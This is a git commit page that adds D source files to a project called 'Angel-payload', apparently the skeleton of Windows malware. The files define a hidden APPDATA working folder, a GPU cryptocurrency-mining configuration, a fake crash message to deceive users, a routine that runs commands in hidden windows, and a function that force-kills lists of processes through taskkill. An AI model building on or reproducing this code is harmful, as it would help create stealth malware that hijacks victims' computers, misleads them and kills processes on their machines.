Upload files to "Angel-payload"
This commit is contained in:
9
Angel-payload/clean.d
Normal file
9
Angel-payload/clean.d
Normal file
@@ -0,0 +1,9 @@
|
||||
module angel.utils.clean;
|
||||
|
||||
// Internal imports
|
||||
// External imports
|
||||
import std.stdio;
|
||||
|
||||
void clean() {
|
||||
|
||||
}
|
||||
36
Angel-payload/constants.d
Normal file
36
Angel-payload/constants.d
Normal file
@@ -0,0 +1,36 @@
|
||||
module angel.utils.constants;
|
||||
|
||||
// Internal imports
|
||||
// External imports
|
||||
import std.stdio;
|
||||
import std.process;
|
||||
import std.Path;
|
||||
|
||||
class Constants {
|
||||
public static string appdata;
|
||||
public static string local_appdata;
|
||||
public static string workdir;
|
||||
public static string logFilePath;
|
||||
|
||||
static this() {
|
||||
appdata = environment.get("APPDATA");
|
||||
local_appdata = environment.get("LOCALAPPDATA");
|
||||
|
||||
workdir = buildPath(appdata, "Angel");
|
||||
logFilePath = buildPath(workdir, "angel.log");
|
||||
}
|
||||
|
||||
struct Address {
|
||||
string addr;
|
||||
}
|
||||
|
||||
struct Coin {
|
||||
int percentage = 30;
|
||||
string source = "gpu";
|
||||
string addr;
|
||||
}
|
||||
|
||||
struct Errmsg {
|
||||
string msg = "The exception unknown software exception (0x0000409) occurred in the application at location 0x7FFDF3B6A3C.\n\nClick on OK to terminate the program";
|
||||
}
|
||||
}
|
||||
14
Angel-payload/init.d
Normal file
14
Angel-payload/init.d
Normal file
@@ -0,0 +1,14 @@
|
||||
module angel.utils.init;
|
||||
|
||||
// Internal imports
|
||||
import angel.utils.constants;
|
||||
import angel.utils.logging;
|
||||
// External imports
|
||||
import std.stdio;
|
||||
import std.file;
|
||||
|
||||
void init() {
|
||||
if (!exists(Constants.workdir)) {
|
||||
mkdir(Constants.workdir);
|
||||
}
|
||||
}
|
||||
58
Angel-payload/logging.d
Normal file
58
Angel-payload/logging.d
Normal file
@@ -0,0 +1,58 @@
|
||||
module angel.utils.logging;
|
||||
|
||||
// Internal imports
|
||||
import angel.config : config;
|
||||
import angel.utils.constants;
|
||||
// External imports
|
||||
import std.stdio;
|
||||
import std.datetime;
|
||||
import std.file;
|
||||
import std.format;
|
||||
import std.string;
|
||||
|
||||
enum LogLevel {
|
||||
Debug,
|
||||
Event,
|
||||
Warning,
|
||||
Error
|
||||
}
|
||||
|
||||
class Logger {
|
||||
private static string getTimestamp() {
|
||||
auto now = Clock.currTime();
|
||||
return format!"%04d-%02d-%02d %02d:%02d:%02d"(
|
||||
now.year, now.month, now.day,
|
||||
now.hour, now.minute, now.second
|
||||
);
|
||||
}
|
||||
|
||||
private static string getLogSymbol(LogLevel level) {
|
||||
switch (level) {
|
||||
case LogLevel.Debug: return "[*]";
|
||||
case LogLevel.Event: return "[i]";
|
||||
case LogLevel.Warning: return "[!]";
|
||||
case LogLevel.Error: return "[E]";
|
||||
default: return "[?]";
|
||||
}
|
||||
}
|
||||
|
||||
private static void writeToFile(string message) {
|
||||
auto file = File(Constants.logFilePath, "a");
|
||||
file.write(message ~ "\n");
|
||||
file.close();
|
||||
}
|
||||
|
||||
public static void log(LogLevel level, string message) {
|
||||
auto timestamp = getTimestamp();
|
||||
auto symbol = getLogSymbol(level);
|
||||
|
||||
auto logMessage = timestamp ~ " " ~ symbol ~ " " ~ message;
|
||||
|
||||
writeToFile(logMessage);
|
||||
if (level == LogLevel.Debug && !config.debug_mode) {
|
||||
return;
|
||||
} else {
|
||||
writeln(logMessage);
|
||||
}
|
||||
}
|
||||
}
|
||||
81
Angel-payload/utils.d
Normal file
81
Angel-payload/utils.d
Normal file
@@ -0,0 +1,81 @@
|
||||
module angel.utils.utils;
|
||||
|
||||
// Internal imports
|
||||
import angel.utils.logging;
|
||||
// External imports
|
||||
import std.stdio;
|
||||
import std.process;
|
||||
import std.format;
|
||||
import core.thread.osthread;
|
||||
import core.sys.windows.windows;
|
||||
import std.conv : to;
|
||||
import std.range;
|
||||
import std.array;
|
||||
import std.string;
|
||||
import std.random;
|
||||
|
||||
class Utils {
|
||||
public static string generateRandomString(size_t length) {
|
||||
string characters = "0123456789abcdefghijklmnopqrstuvwxyz";
|
||||
auto rnd = Random();
|
||||
|
||||
auto randomChars = generate(() => characters[uniform(0, characters.length, rnd)]).take(length).array;
|
||||
|
||||
return to!string(randomChars);
|
||||
}
|
||||
|
||||
public static void execute(string command) {
|
||||
STARTUPINFOA si;
|
||||
PROCESS_INFORMATION pi;
|
||||
|
||||
si.cb = STARTUPINFO.sizeof;
|
||||
si.dwFlags = STARTF_USESHOWWINDOW;
|
||||
si.wShowWindow = SW_HIDE;
|
||||
|
||||
if (!CreateProcessA(
|
||||
null,
|
||||
cast(char*)command.ptr,
|
||||
null,
|
||||
null,
|
||||
false,
|
||||
0,
|
||||
null,
|
||||
null,
|
||||
&si,
|
||||
&pi
|
||||
)) {
|
||||
Logger.log(LogLevel.Error, format("Failed to create proc: %s", GetLastError()));
|
||||
return;
|
||||
}
|
||||
|
||||
WaitForSingleObject(pi.hProcess, INFINITE);
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
}
|
||||
|
||||
private static void dieproc(string proc_name) {
|
||||
Logger.log(LogLevel.Debug, format("Attempting to kill proc: %s", proc_name));
|
||||
string command = format("cmd.exe /C taskkill /F /IM \"%s\"", proc_name);
|
||||
|
||||
execute(command);
|
||||
}
|
||||
|
||||
public static void killproc(string[] ulist) {
|
||||
Logger.log(LogLevel.Debug, format("Attempting to kill procs: %s", ulist));
|
||||
|
||||
Thread[] threads;
|
||||
|
||||
foreach (proc; ulist) {
|
||||
auto t = new Thread(() => dieproc(proc));
|
||||
threads ~= t;
|
||||
t.start();
|
||||
continue;
|
||||
}
|
||||
|
||||
foreach (t; threads) {
|
||||
joinLowLevelThread(t.id);
|
||||
}
|
||||
|
||||
Logger.log(LogLevel.Debug, "All procs killed.");
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user